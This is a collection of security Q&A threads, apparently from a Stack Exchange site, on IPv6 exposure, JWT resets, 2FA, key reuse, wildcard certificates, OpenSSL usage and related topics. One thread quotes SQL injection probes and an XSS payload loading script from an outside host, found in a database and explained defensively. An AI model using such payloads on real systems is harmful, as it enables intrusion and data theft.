There, user Ninefingers writes:

  (...) only allow outbound connections, ever. Do this in spite of NAT as IPv6 will make those NAT defences disappear.

Can someone please explain what this means? Or, rather, how this affects the average user that has his Windows 7 PC(s) running behind his local router that's doing NAT and connecting to the DSL modem.

Yes I can.

IPv4, due to the size of the address pool, has long had a technique called Network Address Translation. In a simplistic view, let's assume you are allocated the (invalid) IP address for your router 256.10.20.30 (I use invalid addresses so people don't go around pinging them etc). Locally, your router is 192.168.0.1 and your host is 192.168.0.2 like this:

/----------\       /-------------------------------\       /----------------\
| Internet |-------| Your router                   |-------| A computer     |
\----------/       | Internet sees as 256.10.20.30 |       | has only:      |
                   | You see as 192.168.0.1        |       | 192.168.0.2    |
                   \-------------------------------/       \----------------/

As such, your router appears to the internet as a public facing IP-address; however, unless you deliberately route connections on ports from the router to a computer on the private IP address range, the computers on the private LAN side are not directly addressable from the internet. The route is performing two functions - both NAT and routing.

In IPv6 there are a lot of addresses. The idea fundamentally is that there are no private IP address ranges (which isn't exactly true; an RFC for that does exist) and as such the IPv6 situation looks like this:

/----------\       /-------------------------------\       /----------------\
| Internet |-------| Your router                   |-------| A computer     |
\----------/       | Internet sees as 2000::...    |       | has:           |
                   | You see as 2000::...          |       | 2001::...      |
                   \-------------------------------/       \----------------/

There isn't really enough space in these boxes to write out the full addresses, but in the IPv6 model, the router performs its routing function (it gets packets to the computers on the LAN) but crucially here it routes both from and to the internet, rather than routing / NATing outwards.

The effect of this is that the default case for IPv4, namely that home computers aren't directly accessible by nature of the fact they have no IP address unless the router knows about the connection goes away. The computer becomes addressable from the internet, much like a server.

Clearly, such connections can still be firewalled, with firewalls denying all incoming (non-client-initiated) connections, however, you've lost needing to explicitly configure your router to route internet packets to you. If the firewall doesn't filter the incoming packet, the client better be able to cope with it. There is, therefore, a slightly increased security risk to home users using IPv6.

I expect (hope?) most home routers will come configured with this firewall setting. As such, while the risk is slightly increased, it is still probably dwarfed by the threat from browser-based exploits (the "outbound stuff").


What is the point of the payload in reset password API with JWT I am trying to write an API that allows the user to reset their password via their email.

I have been following https://www.smashingmagazine.com/2017/11/safe-password-resets-with-json-web-tokens/, but I am a bit confused. They are sending the email and user_id in the payload as JSON, but they never actually need this information. The only time they use the payload data is when they could easily retrieve the same data from another source.

So what is the point in sending it?

You are correct in that the setup as described would not depend on the contents of the payload as the successful decryption already implies correct details. In this implementation then there is no point besides a sanity check (for example make sure the decoded user id is the same as the requested renewal id).

However, the article has glossed over the fact that in practice most JWTs contain and verify against the standard aud(audience), iss(issuer), sub(subject) and exp(expiry) claims in the payload. The expiry claim in particular is something I feel the article has missed (they've only considered the one-use problem), since you don't want unused reset tokens to be valid indefinitely while being stored on the relatively insecure location of a email server.

So to answer your question simply, the point of the payload in password reset is to put information to allow you to double check for valid JWT/ valid request before performing the reset.

Slightly off topic: I have some reservations regarding the article's suggestion of generating the JWT secret based on a user's password hash (may be weak due to poor password) and create date (may be public for something like a profile showing how long you've been a member etc.). The quoted benefit of ensuring one-use can be done without creating secrets from user details and the point of not leaking the secret if an attacker has the user password from other sites is not much help since they can login directly with that password.


What is the point of password rotation when we have 2FA? Two factor authentication is so much harder to break than just a password, and token generators are getting stronger and stronger. Why are we worried about the quality and rotation of passwords when we can just use 2FA and be done with it? It's working well enough for the video game industry at preventing stolen accounts. Why isn't it good enough for the work place?

Two factor authentication is so much harder to break than just a password, and token generators are getting stronger and stronger.

This entirely depends on your 2FA method your org allows.

If your org allow SMS for 2FA it has well documented vulnerabilities such as vishing the service provider and essentially stealing the phone number to receive OTP SMS to: https://www.youtube.com/watch?v=lc7scxvKQOo (2:29)

And/or attacking the protocols directly such as SS7 exploitation: https://arstechnica.co.uk/security/2017/05/thieves-drain-2fa-protected-bank-accounts-by-abusing-ss7-routing-protocol/

Then you have interception / phishing attacks which can allow circumvention of 2FA methods as detailed here: Attacker circumventing 2FA. How to defend?

The only "saving grace" at this time would be using FIDO U2F however (https://fidoalliance.org/) where supported has not AFAIK had a compromise on record (if anyone is aware of circumvention for FIDO U2F please comment).

  Why are we worried about the quality and rotation of passwords when we can just use 2FA and be done with it?

Password complexity is still important and I wrote about this (using some napkin math) here https://blog.oneiroi.co.uk/passwords/security/something-you-know/passphrase-or-complex-passwords/ and should not be discounted as "not required".

If you set your password to 12345 (one of the most common passwords in 2016) it's effectively one less layer of protection an adversary / hacker needs to contend against (as it is trivial to circumvent at that point).

Security in this case (and most cases) needs to be applied in layers, no one layer being more or less important that the other (your wanting to make it as difficult as possible for an adversary/hacker).

Password rotations is as far as I am concerned a "stop gap" measure usually where organizations would or could not apply an additional layer in 2FA or MFA.

Which then many standards jumped on the proverbial hype train and now require this.

There are studies and articles which suggest that regular password changes actually work against the security of the account due to users developing bad behaviors (the problem of the human). (e.g.https://www.wired.com/2016/03/want-safer-passwords-dont-change-often/).

AFAICT standards have not taken these into account at this moment in time.

Assuming your org serves a client base, you may have clients which require in the business agreement between your org and the client there to be password rotations.

Sure it's a PITA but is it really a crusade you feel you can take on without detriment to the org you work for and perhaps loosing a few clients along the way ?

And really if there is no client paying the org, in all likelihood you will not at the end of the day have a job.


Signing and encrypting with pairs of keys based on discrete algorithms In case I've generated pair of keys (public and private) for RSA, I'm able to use it both for signing and encrypting. Is the same statement true also for pairs of keys based on discrete algorithms?

In general, the answer is no, not necessarily: even if a signature scheme is secure in isolation, and an encryption scheme is secure in isolation, the combination of the two with the same keys may completely wreck security.
For some particular discrete log groups, some particular encryption schemes, and some particular signature schemes, the answer is yes.

Degabriele, Lehmann, Paterson, Smart, and Strefler studied the security of combining ECIES with EC-Schnorr (related to the popular EdDSA scheme with the popular Ed25519 instantiation), and of combining ECIES with ECDSA[1].
The security of EC-Schnorr is reasonably well-understood, while the security of ECDSA is rather complicated and not as well-understood[2] (paywall-free).*  The conclusion of Degabriele et al. was that those two combinations provide essentially the same security as their components—i.e., high confidence in ECIES/EC-Schnorr, and not-very-well-understood confidence in ECIES/ECDSA.

Signal uses a combination of X25519 and Ed25519 called XEd25519[3].  I'm not aware of a formal security analysis of it, but I expect that the security are quite close to the Degabriele et al. results on ECIES/EC-Schnorr.

However, there is no limit to what can go wrong if you stray outside the bounds of combinations that have been studied.  When GnuPG played with the fire of keys reused for Elgamal signature and encryption twenty years ago, they got burned so badly that a single signature leaked the private key[4].†
So make sure to ask your cryptographer for advice about the particular encryption scheme and the particular signature scheme want to reuse keys for before you try this at home.
And this is all aside from the qualitatively different security requirements of signing keys and decryption keys in practical terms: if you can revoke a signing key then it doesn't matter if it is later compromised, but a decryption key can never be revoked to prevent retroactive decryption of past messages except by comprehensively erasing it from the universe.

* To be clear, I am not talking about the catastrophic failure of pre-RFC 6979 ECDSA or DSA in the face of a broken random number generator at signing time—a failure mode which Debian and Sony learned about the hard way, and objections to which fell on deaf ears at NIST when the DSA was first proposed in the early '90s[5].  Rather, I am talking about the security of ECDSA even when used exactly as directed.
† In fairness, this wasn't exactly because the private key was reused between signing and decryption—rather because the security criteria for private keys in Elgamal encryption and Elgamal signature are different, and optimizing the performance for encryption ruined the security for signature.


Can I store a GPG revoke certificate online? It's clearly a good idea to store the revocation certificate in a way which is both secure and reliable.

Cloud-based storage services are great for reliability, but of course they lack of security.

Would it be a good idea to store a revoke certificate on a cloud-based storage, and securing it with a strong symmetric encryption (say using AES256, and with a quite long passphrase)?

It would not be advised, especially not on any public online resources.  If the revocation keys gets in the wrong hands, someone can revoke your keys without your consent or knowledge.


Using IP as authentication I have a bunch of users that are all behind the same VPN. My website (outside of the VPN) is supposed to be only accessible for these users. There is no guest for this VPN. My website is https only. Is it acceptable in this case to rely on IP as an authentication mecanism ?

The question asked is "Is it acceptable in this case to rely on IP as an authentication [mechanism]?"

The short answer is: It depends.

Let's start with a definition of authentication. Merriam-Webster defines authentication as

  ": an act, process, or method of showing something (such as an
  identity, a piece of art, or a financial transaction) to be real,
  true, or genuine"

So the questions to be asked in answering this question:

What is the information classification involved? This is the basis of 'acceptability' for any security mechanism.
How strong and reliable are the authentication and authorization mechanisms of the VPN in question?
How strong and reliable are the mechanisms in place ensuring authentic IP address usage?
What are you authenticating: the workstation; the individual users?
Is there a direct verifiable relationship between any given IP address and any given individual user?

Your individual answers to the questions above will answer your question for you.

At a high level, and without many of the details, it seems that we can say that if the classification of the information being accessed requires authentication of individual persons, then it appears that the use of an IP address with limited-to-no verifiable direct relationship to any given individual would not be acceptable.


Why did the government made Project TOR public? It was originally created by the government for their own use; why did they make it public?
Making TOR public also meant the dark web now became accessible to the public. Was the deep web accessible before Project TOR came into existence?
And making it public also meant that it could also be used against them;  criminals also use it for secure communication.

There are certainly a lot of reasons which we could speculate about, but one is fact and inherent in the way Tor works to provide anonymity to its users:

If the "government" (or rather, the united states naval research lab) was the only one to use Tor, then obviously they wouldn't gain any anonymity. Someone who noticed traffic from a Tor exit node would immediately know that someone from that research lab was behind the requests.

So by making it public and encouraging a wide variety of people from all walks of life to set up exit nodes and use Tor as a client, it becomes possible to hide in the mass of people who use Tor. So if you use Tor, it might be because you want to buy illegal drugs, but it might also be because you're a whistleblower or a human rights activist, or simply worried about your privacy on the internet.

Since the US law enforcement, government and intelligence agencies and armed forces sometimes require anonymity for their communication, too (that's why Tor was birthed, after all), diversification of the Tor user base would be something they'd be interested in, and that can't be achieved by keeping Tor use limited to US government agencies.


Stop traversal directory attack with .htaccess? Is it possible to configure .htaccess to block PHP requests to access items above the root folder?

say a malicious script is dropped in to a folder, and it may request access to "../../../../configure.php", I am afraid that .htaccess cannot stop the script from running, if the rules allow the offending script to run. Correct?

This is a major issue in multiple web servers running below the same public_html folder....

Yes, that does not work.

You do define access rights from the outside in the .htaccess file.

If a php script is running locally on the web server, it has access to whatever is allowed by the local permissions.

When multiple hosts are hosted on the same machine, they usually have different access rights based on users to separate the tenants from each other and thwart including files from other tenants.

There is not much you can do, except to make it impossible to drop a malicious script in the first place.


Can a Logitech wireless headphone usb receiver be infected? So I think they call them “dongles”? The usb wireless receiver that’s plugged into your computer? Can they get virus from a computer that has been infected? I imagine it’s no more vulnerable than say a usb mouse is?

But since these Logitech usb devices like your mouse or headphone receivers do contain some firmwares, I imagine they can be infected though uncommon?

Assuming it doesn’t present a USB storage device, the simple answer is: no, it won’t be infected in most reasonable scenarios.

The more complicated answer is that any complicated USB device could theoretically be reprogrammed to act maliciously. This could be especially useful to jump air gaps or ensure that all machines used by an individual are infected.

How could this happen? Two examples:

An attacker could reprogram the firmware to act as a different USB device, perhaps temporarily. For example if you’re not using your USB receiver it could present as a keyboard and type keystrokes (open Powershell, download some malware etc.).
Firmware could be reprogrammed to exploit a bug in the vendor drivers. For example triggering some form of buffer overflow or double free by violating the expected protocol.

There are significant hurdles to achieving these aims, for example:

Many devices can’t be updated. The firmware is fixed during manufacture.
Most commercial devices won’t have a lot of spare capacity. The manufacturer will try to use the smallest micro controller and memory possible.
Update mechanisms will be proprietary and undocumented, requiring substantial reverse engineering.
Many (but not all) devices will have code signing or update validation at the micro controller level, typically to prevent counterfeiting. This is more likely to affect common brands, reducing the risk of widespread attacks.
Lots of common devices use generic drivers, provided by the operating system. These will (hopefully) present less chance of vulnerabilities.

However, the chances of this are incredibly slim. Slim enough they probably won’t appear in most corporate threat models, but would potentially register for a defence manufacturer and certainly for sensitive Government departments.


Is this a SQL injection attack or is it some sort of bug? I was looking through some data in our database when I came across a bunch of weird user_id entries:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

It doesn't seem like anything malicious is being attempted, so part of me thinks this might have been caused by some sort of bug, but then again it is rather suspicious to see SQL inside data entries.

What could it be trying to do?

Here are a few more examples I found which may be interesting:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))

This is the result of someone trying to exploit an SQL injection on your site. Someone tried to detect if your website was vulnerable to a union-based injection. For all the records that you see, it doesn't seem to have worked.

You should check your access and error-logs for the affected timespan to see if any further requests were made.

One suspicious thing I noticed is that I don't see any entries containing double quotation marks (") which might indicate that they broke the functionality of the site or an injection using double quotation marks worked against your site.

You might want to check the relevant source code to see if proper sanitization of parameter values was done. This could also be explained if some other part of your setup blocked requests with double-quotation marks or injections with them were just not attempted.


Question regarding data encryption/decryption and sharing said keys with third party's At work we have a pretty complex problem(for me at least) and I have no idea what a fitting solution would be. To give a bit of context, the company I work for is a data processor/provider for big corporations that need sensitive user data such as; social security numbers, how much a person earns, all their past addresses where they have lived, if they have every collected welfare, etc.
The problem we are facing is that we have to encrypt the user data so if we ever get compromised the data of the end-users is safe. How we do this is, the end-users fills their data-vault(this vault contains all the data I gave as an example in the paragraph above), and we encrypt all the data en keep the key to decrypt the data in our system.
We however do not want this, we are looking for a fitting solution in where the end-user can fill their data-vault, we encrypt it and create hashes of their data(So our customers can verify if the data is actually valid after decrypting it) and at the end we throw away the key so our system no longer has it. Once our customer wants to access the data-vault of a certain end-user, the end-user has to exchange their key with said customer so in turn our customer can decrypt the data on their own system.
We looked into asymmetric encryption but the issue is we only want to encrypt the data-vault once so the end-user does not need to constantly re-encrypt their data. To make it a bit clear read examples below in where the data-vault is created and shared:
Creation:
End-user Bob want to share his personal information with Netflix and Facebook, Bob signs up at the site of my company. He fills his personal data-vault which we in turn encrypt and throw away the key used (bob still has this key).
Sharing:
Company A and Company B request data out of the data-vault of user Bob (Company A want his social security number and Company B wants to know if the user ever collected welfare), our system gives them that part of his vault, and we ask Bob to send the keys to Company A and Company B (using a webhook or something). Bob then sends both Company A and Company B his key, so they can decrypt his data.
Does anybody have an idea what I could use to do this? I looked into just using basic encryption and decryption (AES) and just sharing the key used to encrypt the data, but I am not sure how secure/smart this is.

It actually seems simple to me. You have described pretty thoroughly your needs.
Basically, you create a storage where

you encrypt each item separately (so that you can only give the SSN of jdoe to company A)
each individual field obviously needs its own IV, we don't want the encryption of an address named 'George Washington' to be the same as of the name 'George Washington'
I would probably use AES-GCM so that you have authenticated encryption, getting rid of the hashes of your description (plus, they can be problematic, for a field 'Has ever collected welfare', the values hash('yes')  / hash('no') are only a weak  obfuscation)
when sharing with a Company, the user authorizes you to share part of the vault with Company A (through OAUTH, for instance) and provides directly to the company the random vault key it was shown.
you can even have have the encryption happen with javascript at the user browser, so _your company never sees the data

you need to authenticate the users in your app (so that I cannot share your vaulr with company Z), shall obviously use a library that provides the proper encryption routines (in this case AES-GCM), etc. but in general, should be relatively straightforward.


IT support and security concerns regarding local VM's I started working at a large financial institution several weeks ago as a software engineer and despite every other aspect of this job being great, I am haunted by the constant restrictions that workstation security policy here puts us through.  We are not allowed local administrator rights on our Windows 7 workstations which is normal and I agree with.  What is more of a concern is that we are only allowed to use software on these workstations that has been approved and added to our Advertised Program list.  Being on a greenfield project and working closely with a vendor to get a POC off the ground, this process is too slow and sometimes prevents us from doing our jobs.

I know that other teams have run into this issue and I am unsure how they tackled it, but apparently it is a battle that has already been fought and lost by several groups, even for exceptions to be granted.

I am preparing a document that seeks to demonstrate how if we were allowed to run VirtualBox on a Windows 7 workstation that we can get all the benefits of local admin rights while not causing any undue security risks on the machine or network.  I know they are going to look for the easiest way to dismiss my proposal so I am trying to rebut in my document any security concerns that this group might have.

Are there any significant security concerns that are introduced by the introduction of local virtual machines on a restricted workstation?  If so, how can such security concerns be mitigated?

My apologies if this question is too broad or posted in the wrong place.

Technically speaking there is very little risk in running an insecure VM on a secure machine IF that VM does not have network access (after all this is how you research malware). If it does have network access then you've essentially just circumvented all security safeguards.

From a security perspective, assume that your VM will be insecure and thus full of malware (let's just assume). If you have the VM completely isolated from the outside world and therefore your own system, it's perfectly benign. This is akin to a proper biological lab with a hot agent -work gets done, people go home, no problems. If you were to have network access to that VM, it's akin to that same biolab but leaving the doors open.

As a developer, I constantly run into problems like this and to be honest, changes/exceptions like this generally are not a decision your employer can make. The security policies are devised when the contract is created. You just have to do your best to work within them.

As per your comment, there are no real secure ways to truly 'limit' the VMs network access because it is inside the host PC (and thus its network). At the VM level there are very strict (not invulnerable, but strict) methods in place to prevent network access if you deny it as setup. If you choose to enable say a certain port during setup that introduces so many vulnerabilities associated with that port.

As you stated, your company allows you to RDP to your machine at work. While personally, I find this a huge security risk, this does give you some options...

The simplest option is to simply RDP out to your machine at home and do some heavy unrestricted lifting there.

None of these methods are the most efficient for a programmer nor are the security policies in place to make things easy.

I would suggest opening a dialogue with your employer and outline your frustrations. If there is something you need and do not have then that is a legitimate concern. In the world of contracting there is very little room in negotiating just how tasks are done.


Enumerating hosts running Elastic Stack I am currently working on a project where I need to find a host running a SIEM solution. From my research I am fairly confident that the host is running Elastic Stack, probably within another solution such as SIEMonster, but nonetheless Elastic Stack. I have also made the assumption that input for Logstash is either Beat, more precisely Filebeat, or GELF.

I have no idea on which port it might be running and the possible IP range is quite big. So what I need is a way to check if a given host is running Logstash input plugin on any port, and do a comprehensive research on those hosts for further analysis.

Since there is not much information online about how to approach this problem, I have decided to install Elastic Stack on my machine and see what results it gives me when I inspect it externally. I have set-up Filebeat to run on port 5044, along with Elasticsearch on 9200 and Logstash on 9600. I have checked output in Kibana and everything works as it should.

Curl requests to port 9200 and 9600 return expected answers, but 5044 returns connection reset by peer failure. I am able to connect to 5044 via telnet but I have no idea what to send in order to receive an answer.

Does anyone have an idea on how to approach this problem? Also, am I trying to tackle it from a wrong direction?

You want to run a port scanner. The king of port scanners is nmap.

You can configure it to scan a range of IPs on a selection of ports. Test it on your machine first, from another machine, to see how the results behave. If you get useful results, then scan the IPs you want to inspect.

There are lots of considerations, though. Like firewalls, routing, subnets, etc. But those are networking concerns.


Why are third party cookies sent to second party websites? When I visit this website, Google Analytics cookies are being sent to it from my browser along with the request.

This goes against my whole understanding of cookies which is that cookies are only sent to the site that put them there.

How is it then that cookies from Google (i.e. analytics.google.com) are sent to security.stackexchange.com ?

Cookies set by scripts are always associated with the webpage's domain, not the domain that the script came from. (If this weren't the case, then it would often be easy to include a script from a remote domain and a second script which redefined global functions to trick the first script into reading or setting arbitrary cookies on the remote domain.)

Security.SE includes the google analytics javascript file in its webpages, so the script runs within Security.SE's domain and any cookies set by the script are associated with the Security.SE domain.


What vulnerabilities could be caused by a wildcard SSL cert? In a comment on this answer, AviD says:

"There are numerous security issues with wildcard SSL certs."

So, what are the problems? I understand that the same private key is being used in multiple contexts, but given that I could host all of my applications under the same host name I don't see this as a 'new' issue introduced by wildcard certificates.

A "wildcard certificate" is a certificate which contains, as possible server name, a name which contains a "*" character. Details are in RFC 2818, section 3.1. The bottom-line: when the server certificate contains *.example.com, it will be accepted by clients as a valid certificate for any server whose apparent name matches that name.

In the certification business for Web sites, there are four main actors:

The SSL server itself.
The vendor of the Web browser which the client will use.
The human user, who controls to some extent what the client browser will do.
The CA who issued the certificate to the server.

Wildcard certificates don't imply extra vulnerabilities for the SSL server; indeed, the SSL server has no interest in looking at its own certificate. That certificate is for the benefits of clients, to convince them that the public key contained in the certificate is indeed the public key of the genuine SSL server. The SSL server knows its own public/private key pair and does not need to be convinced about it.

The human user has no idea what a public key is. What he sees is a padlock icon and, more importantly, the intended server name: that's the name at the right of "https://" and before the next "/". The Web browser is supposed to handle the technical details of verifying that the name is right, i.e. validation of the server certificate, and verification that the name matches that which is written in the said certificate. If the browser does not do this job, then it will be viewed as sloppy and not assuming its role, which can have serious commercial consequences, possibly even legal. Similarly, the CA is contractually bound to follow defined procedures for identifying SSL server owners so that fake certificates will be hard to obtain for attackers (contract is between the CA and its über-CA, recursively, up to the root CA which is itself bound by a pact with the OS or browser vendor, who accepted to include the root CA key in the OS or browser under defined conditions).

What this amounts to, is that the browser and the CA must, in practice, pamper the user through the verification process. They are more or less under obligation (by law or, even stricter, by business considerations) to prevent the user from being swindled through fake sites which look legit. The boundary between the user's job and the browser/CA job is not clearly defined, and has historically moved. In Days of Yore, I mean ten years ago or so, browsers just printed out the raw URL, and it was up to the human user to find the server name in it. This lead forged site operators (i.e. "phishing sites") to use URL which are technically valid, but misleading, like this one:

https://www.paypal.com:payment-interface-login-session@xcvhjvb.com/confirm.html

Since human users are, well, human, and most of them read left-to-right (most rich and gullible scam targets are still in Western countries), they will begin on the left, see www.paypal.com, stop at the colon sign ("too technical"), and be scammed.

In reaction, browser vendors have acknowledged that the URL-parsing abilities of human users are not as good as was initially assumed, and thus recent browsers highlight the domain part. In the case above, this would be xcvhjvb.com, and certainly not anything with paypal.com in it. Now comes the part where wildcard certificates enter the game. If the owner of xcvhjvb.com buys a wildcard certificate containing "*.xcvhjvb.com", then he can setup a phishing site called:

https://PayPal-payment-interface-login-session.xcvhjvb.com/confirm.html

which will be accepted by the browser (it matches the wildcard name), and is still likely to catch unwary users (and there are many...). This name could have been bought by the attacker without resorting to wildcards, but then the CA employees would have seen the name with obvious fraudulent attempt (good CA do a human validation of every request for certificates, or at least raise alerts for names which are very long and/or contain known bank names in them).

Therefore, wildcard certificates decrease the effectiveness of fraud-containment measures on the CA side. This is like a blank signature from the CA. If wildcard-based phishing attempts become more commonplace, one can expect that one or several of the following measures will come into existence:

Browsers highlight only the parts of the domain name which matches non-wildcard elements in the certificate.
CA require heavier paperwork and contracts for wildcard certificates (and these will be more expensive).
Browsers deactivate support for wildcard certificates altogether.

I actually expect all three measures to be applied within the next the years. I could be totally wrong about it (that's the problem with predicting the future) but this is still my gut feeling.

Nitpickingly, we can also point out that wildcard certificates are useful for sharing the same key pair between different server names, which makes it more probable that the private key will be shared between different server machines. Traveling private keys are a security risk in their own right; the more a private key wanders around, the less "private" it remains.


Does Google 2-step verification protect user from session hijacking? After signing in Google 2-Step verification scenario, user should enter verification code which sends to his mobile. Without it, he couldn't access to Gmail account.

Consider an attacker does session hijacking. Can attacker access to Gmail account if attacker uses hijacked session? Or he will stop at entering verification code?

UPDATE:
Attacker does session hijacking after user enters verification code.

Short answer: Yes, the attacker can use session hijacking.

Long answer: attackers can use XSS to get your browser cookie (the one that Google sets) and inject it into their request for Google. Still, if that doesn't happen, malware can do whatever it wants while you are logged in.


Could this list of ciphersuites be improved on? During my self-teaching about trying to find mobile application vulnerabilities, I found a list of cipher suites that are/were considered insecure:

md5 sha1 sha-1 md4 rc4 des tripledes 3des

If I grepped for these terms in some decompiled Java code and got hits, would it be safe to say, there is a problem?

A simple grep would not provide enough context to determine if there is a problem. Even if your find actual uses for these less secure algorithms (contrary to just finding code which uses these names for other things) it is still not clear if there is a real problem. For example, MD5 and SHA-1 are no problem when used as HMAC. Thus, you actually need to look at what these algorithms are used for.


Is Gnucash's flatpak safe to use with online banking? Can I trust the (official?) GnuCash Flatpak on Flathub, linked from here to here?

Following up on this Q&A I'm asking myself if I can trust this, bearing in mind this.

Other options would be to use a PPA, compile from source myself or wait for a long time until Ubuntu includes a more recent version of GnuCash in its repos.

I would guess that PSD2's two-factor authentication itself adds quite a bit of security, but am still unsure whether to trust a flatpak or, alternatively, a PPA.

Related link(s):

https://askubuntu.com/questions/1179175/are-snap-and-flatpack-apps-safe-to-install-are-they-official-approved-or-tes
https://askubuntu.com/questions/35629/are-ppas-safe-to-add-to-my-system-and-what-are-some-red-flags-to-watch-out-for

As mentioned by others, I think the question boils down to "can I trust Flatpak as an entity providing software?"

Flatpak "Security Issues"

Barring any severe, currently unknown vulnerabilities in Flatpak itself (e.g. privesc), those linked "issues" with Flatpak don't seem to apply to your concerns, and can be debunked.

  Many Flatpak apps have filesystem write permission
  Most Flatpak apps do not run in a sandbox

Yes, unless you are using precisely configured SELinux or AppArmor profiles, all of your apps built/installed from source or through the package manager have these issues as well.

  Slow/no critical security updates to apps and runtimes

Depends on who provides/maintains the application. No different than many regular projects and sometimes even distributions.

Since your concern seems to be regarding the integrity of the app itself, I do not believe that these issues apply.

Can you trust GnuCash provided by Flatpak?

I think that this is the core of the question. My answer is very similar to your first provided AskUbuntu link.

Since the Flatpak is linked to from GnuCash's website, it seems to be more or less official, plus the developer is listed as "GnuCash Project". In theory, the code running in the Flatpak image should be nearly the same as that in the official releases. The build process is fairly open; you can see how GnuCash is packaged on GitHub.

This is assuming that Flatpak/Flathub is not malicious (or compromised). I suppose if you wanted, you could verify that the binaries inside the package match "trusted" ones, but it may be quite an undertaking. Entities like Flatpak are likely under a lot of scrutiny from the community, so any major mistakes (especially for a project like GnuCash) will likely not go unnoticed.

But, the question "can I trust vendor XYZ" cannot be answered definitively. We make this decision every time we download software from anywhere.

TL;DR: It is ultimately up to you what software/vendors you trust, but I see no issue with using GnuCash provided through Flatpak.


Does malware beacon in regular intervals or irregular intervals? I am trying to build a malware beaconing to C2 detection mechanism. One point of discussion is whether
- Malware communicates in frequent even spaced time intervals (Ex: Every 10 seconds to its C2 site).
- Or irregular time intervals (Ex: First beacon at 2 seconds, then next at 5, next at 18, next at 56 and so on).

From reading/Googling various docs and looking at incident investigations, it seems to be both. However I am looking for some advice/pointers on the following dilemma

What is the downside in terms of malware coverage if I just build for regular intervals at this moment (First release) and then focus on irregular intervals later ?

From reading/Googling various docs and looking at incident investigations, it seems to be both. However I am looking for some advice/pointers on the following dilemma.

As you said, it's probably both. It may even depend on the mode the malware enters; it may enter sleep mode waiting for some event or date.

And there's many kinds of malware, from many different people, with many different goals. A cryptolocker for instance only needs to call home once; to communicate a key an ID number. A botnet participant will call home regularly to receive new commands; it may even open a persistent TCP connection. E.g. IRC has been used as a control channel previously.

A catch all-answer is clearly impossible.

In addition, there's lots of legitimate traffic occurring automatically, on fixed or variable times. Software updates, NTP, e-mail, etc.

  What is the downside in terms of malware coverage if I just build for regular intervals at this moment (First release) and then focus on irregular intervals later ?

This probably depends on what other characteristics you're looking for to decide if it's legitimate traffic. It's a complex question, and I believe it's impossible to judge, with the amount of information given.


why encryption result using 3 des is different between website and openssl commander? I am working with OpenSSL using Windows 10 CMD.
I am trying to encrypt something using triple des with key coded in base64 that stored in text file (assume that plain text is:"hi all I am someone", key.txt (key 24 byte coded in base64)), so I wrote this command line:

openssl enc -des-ede3 -pbkdf2 -base64 -in input.txt -out output.txt -k key.txt

now the problem is as follow:
encryption result after run my command is:

U2FsdGVkX1/CxK/qRQDXLsl/pTE650K/xcHnPWbhb3Z1EtyrNPyzVA==

but when use some online website like (https://www.devglan.com/online-tools/triple-des-encrypt-decrypt) to make sure if my work good I found this result for encrypting process:

c9FxRbKYE/We1igMIU58833njnVjs6KH

so please tell me which one is the correct??? I have been worked on that since hours.

note: the key that I used is: CiC4IOH/ASAHd7dxOSVIw4VSG/yG33FN (it's coded in base64)

You're using OpenSSL incorrectly. The obsolete -k parameter specifies a password, not a key file. This password (literally "key.txt" in this case) is then run through a key derivation function (PBKDF2, per your command line). However, if you're providing a key already, (as opposed to a password), you don't need (and shouldn't use) a slow key-derivation function. Since you are using a key as though it's a password in one case and actually using it as a key in the other, of course the output will be different. The ciphertext will differ, as it's created using a derived key (rather than one provided directly), plus KDFs require additional parameters (work factor and salt) which must be stored and transmitted in plain text as well.

Indeed, looking at the base64-decoded output of the openssl command, it is relatively long (40 bytes) contains the plain English word "Salted", which is unexpected if it were nothing but ciphertext of English text:

$ echo -n 'U2FsdGVkX1/CxK/qRQDXLsl/pTE650K/xcHnPWbhb3Z1EtyrNPyzVA==' | base64 -d | hd
00000000  53 61 6c 74 65 64 5f 5f  c2 c4 af ea 45 00 d7 2e  |Salted__....E...|
00000010  c9 7f a5 31 3a e7 42 bf  c5 c1 e7 3d 66 e1 6f 76  |...1:.B....=f.ov|
00000020  75 12 dc ab 34 fc b3 54                           |u...4..T|

The website output also contains a handful of printable ASCII characters:

$ echo -n 'c9FxRbKYE/We1igMIU58833njnVjs6KH' | base64 -d | hd
00000000  73 d1 71 45 b2 98 13 f5  9e d6 28 0c 21 4e 7c f3  |s.qE......(.!N|.|
00000010  7d e7 8e 75 63 b3 a2 87                           |}..uc...|

but no plain English words, and (as expected) a significantly shorter length (just 24 bytes, which makes sense if you take the 20-byte input string "hi all I am someone" and pad it out to a multiple of DES' 64-bit block size). I don't know exactly what the format of the OpenSSL command is, but that's definitely your problem.

You're also using the website you linked incorrectly. It expects the key in plain text, not base64 (or hex) encoded. Since your key contains non-printable characters, this is tricky to paste into the text box, but I tried it with a key made only from printable characters and it worked correctly.

To actually use the key you want with openssl, you first need to convert it to a hex representation (there might be an easier way to do this on the command line but this uses tools most likely already installed):

$ echo -n "CiC4IOH/ASAHd7dxOSVIw4VSG/yG33FN" | base64 -d | od -A n -t x1 | tr -d '\n '
0a20b820e1ff01200777b771392548c385521bfc86df714d

You can then pass this hex-encoded key to the -K (note: capital K) parameter in openssl enc:

$ echo -n 'hi all I am someone' | openssl enc -des-ede3 -base64 -K 0a20b820e1ff01200777b771392548c385521bfc86df714d
Lv0OrqobWvh/u681nIe3ONhSy0PYnhlK

